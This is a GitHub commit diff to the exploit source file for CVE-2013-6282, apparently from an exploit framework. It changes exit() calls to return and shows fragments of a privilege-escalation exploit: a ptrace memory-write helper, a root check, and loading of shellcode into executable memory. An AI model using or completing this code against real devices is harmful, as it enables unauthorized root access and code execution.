Skip to content

Commit 9ece45a

Browse files
committed
dont exit(0) when exploit fails
1 parent 9097731 commit 9ece45a

File tree

1 file changed

+5
-5
lines changed
  • external/source/exploits/CVE-2013-6282

1 file changed

+5
-5
lines changed

external/source/exploits/CVE-2013-6282/exploit.c

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -569,7 +569,7 @@ void ptrace_write_value_at_address(unsigned long int address, void *value) {
569569
bChiled = true;
570570
signal(SIGSTOP, SIG_IGN);
571571
kill(getpid(), SIGSTOP);
572-
exit(EXIT_SUCCESS);
572+
return;
573573
}
574574
575575
do {
@@ -652,20 +652,20 @@ void init_exploit() {
652652

653653
if (get_addresses() != 0) {
654654
LOGV("Failed to get addresses.\n");
655-
exit(EXIT_FAILURE);
655+
return;
656656
}
657657

658658
run_exploit();
659659

660660
int uid = getuid();
661661
if (uid != 0) {
662662
LOGV("Failed to get root.\n");
663-
exit(EXIT_FAILURE);
663+
return;
664664
}
665665

666666
if (shellcode_buf[0] == 0x90) {
667667
LOGV("No shellcode, uid=%d\n", uid);
668-
exit(EXIT_SUCCESS);
668+
return;
669669
}
670670
LOGV("running shellcode, uid=%d\n", uid);
671671

@@ -674,7 +674,7 @@ void init_exploit() {
674674
if (pid == 0) {
675675
void *ptr = mmap(0, sizeof(shellcode_buf), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
676676
if (ptr == MAP_FAILED) {
677-
exit(EXIT_FAILURE);
677+
return;
678678
}
679679
memcpy(ptr, shellcode_buf, sizeof(shellcode_buf));
680680
void (*shellcode)() = (void(*)())ptr;

0 commit comments

Comments
 (0)